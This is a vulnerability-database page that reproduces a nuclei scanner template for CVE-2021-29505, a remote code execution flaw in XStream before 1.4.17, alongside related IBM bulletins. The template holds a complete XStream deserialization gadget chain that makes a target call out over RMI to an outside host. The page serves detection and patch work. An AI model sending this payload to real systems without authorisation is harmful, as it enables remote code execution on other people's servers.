Lucene search
K

XStream <1.4.17 - Remote Code Execution

🗓️ 03 Jul 2026 13:39:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 47 Views

XStream <1.4.17 - Remote Code Execution, allows attackers to execute arbitrary code by manipulating the input strea

Related
Refs
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerabilities in XStream affect IBM Spectrum Copy Data Management
11 Dec 202100:37
ibm
IBM Security Bulletins
Security Bulletin: XStream Vulnerability Affects IBM Sterling B2B Integrator (CVE-2021-29505)
5 Oct 202119:55
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in XStream
1 Oct 202106:19
ibm
IBM Security Bulletins
Security Bulletin: IBM InfoSphere Information Server is affected by a vulnerability in XStream (CVE-2021-29505)
29 Oct 202120:15
ibm
IBM Security Bulletins
Security Bulletin: IBM Engineering Test Management is vulnerable to execute arbitrary commands on system due to XStream ( CVE-2021-29505 ).
4 Jul 202211:15
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in xstream-1.4.9.jar
29 Jan 202517:24
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Node.js, XStream and Apache Commons affect IBM Spectrum Control
31 Aug 202108:17
ibm
IBM Security Bulletins
Security Bulletin: IBM Data Risk Manager is affected by multiple vulnerabilities including a remote code execution in Spring Framework (CVE-2022-22965)
11 Apr 202215:17
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Verify Governance is vulnerable to multiple security threats due to use of XStream
22 Nov 202216:29
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in MongoDB, Node.js, Docker, and XStream affect IBM Spectrum Protect Plus
28 Jun 202120:25
ibm
Rows per page
id: CVE-2021-29505

info:
  name: XStream <1.4.17 - Remote Code Execution
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Patched in 1.4.17.
  reference:
    - https://paper.seebug.org/1543/
    - https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
    - https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
    - https://nvd.nist.gov/vuln/detail/cve-2021-29505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-29505
    cwe-id: CWE-502
    epss-score: 0.77735
    epss-percentile: 0.99511
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,oast,vulhub,xstream,deserialization,rce,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
            <unserializable-parents/>
            <java.util.PriorityQueue>
                <default>
                    <size>2</size>
                </default>
                <int>3</int>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                            <parsedMessage>true</parsedMessage>
                            <soapVersion>SOAP_11</soapVersion>
                            <bodyParts/>
                            <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                                <attachmentsInitialized>false</attachmentsInitialized>
                                <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                                    <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                        <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                            <names>
                                                <string>aa</string>
                                                <string>aa</string>
                                            </names>
                                            <ctx>
                                                <environment/>
                                                <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                                    <java.rmi.server.RemoteObject>
                                                        <string>UnicastRef</string>
                                                        <string>{{interactsh-url}}</string>
                                                        <int>1099</int>
                                                        <long>0</long>
                                                        <int>0</int>
                                                        <long>0</long>
                                                        <short>0</short>
                                                        <boolean>false</boolean>
                                                    </java.rmi.server.RemoteObject>
                                                </registry>
                                                <host>{{interactsh-url}}</host>
                                                <port>1099</port>
                                            </ctx>
                                        </candidates>
                                    </aliases>
                                </nullIter>
                            </sm>
                        </message>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
            </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 500
# digest: 490a0046304402204007d8e38884e9ecb42d72cf6337225ca5b0485baa0375992654b2acba70757f02205c82b4f4b40e30bb881ee7ec04e02a3f40912d4616ece4fd2f07b3f50c32b2a8:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 26.5
CVSS 3.17.5 - 8.8
EPSS0.77735
47